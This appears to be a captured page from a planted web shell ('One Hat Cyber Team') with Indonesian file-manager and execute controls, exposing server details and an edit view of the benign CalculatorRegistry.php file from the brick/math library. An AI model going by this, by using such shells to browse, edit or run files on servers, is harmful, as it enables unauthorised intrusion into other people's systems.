⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
pusaka
/
vendor
/
brick
/
math
/
src
/
Internal
/
Edit File: CalculatorRegistry.php
<?php declare(strict_types=1); namespace Brick\Math\Internal; use function extension_loaded; /** * Stores the current Calculator instance used by BigNumber classes. * * @internal */ final class CalculatorRegistry { /** * The Calculator instance in use. */ private static ?Calculator $instance = null; /** * Sets the Calculator instance to use. * * An instance is typically set only in unit tests: autodetect is usually the best option. * * @param Calculator|null $calculator The calculator instance, or null to revert to autodetect. */ final public static function set(?Calculator $calculator) : void { self::$instance = $calculator; } /** * Returns the Calculator instance to use. * * If none has been explicitly set, the fastest available implementation will be returned. * * Note: even though this method is not technically pure, it is considered pure when used in a normal context, when * only relying on autodetect. * * @pure */ final public static function get() : Calculator { /** @phpstan-ignore impure.staticPropertyAccess */ if (self::$instance === null) { /** @phpstan-ignore impure.propertyAssign */ self::$instance = self::detect(); } /** @phpstan-ignore impure.staticPropertyAccess */ return self::$instance; } /** * Returns the fastest available Calculator implementation. * * @pure * @codeCoverageIgnore */ private static function detect() : Calculator { if (extension_loaded('gmp')) { return new Calculator\GmpCalculator(); } if (extension_loaded('bcmath')) { return new Calculator\BcMathCalculator(); } return new Calculator\NativeCalculator(); } }
Simpan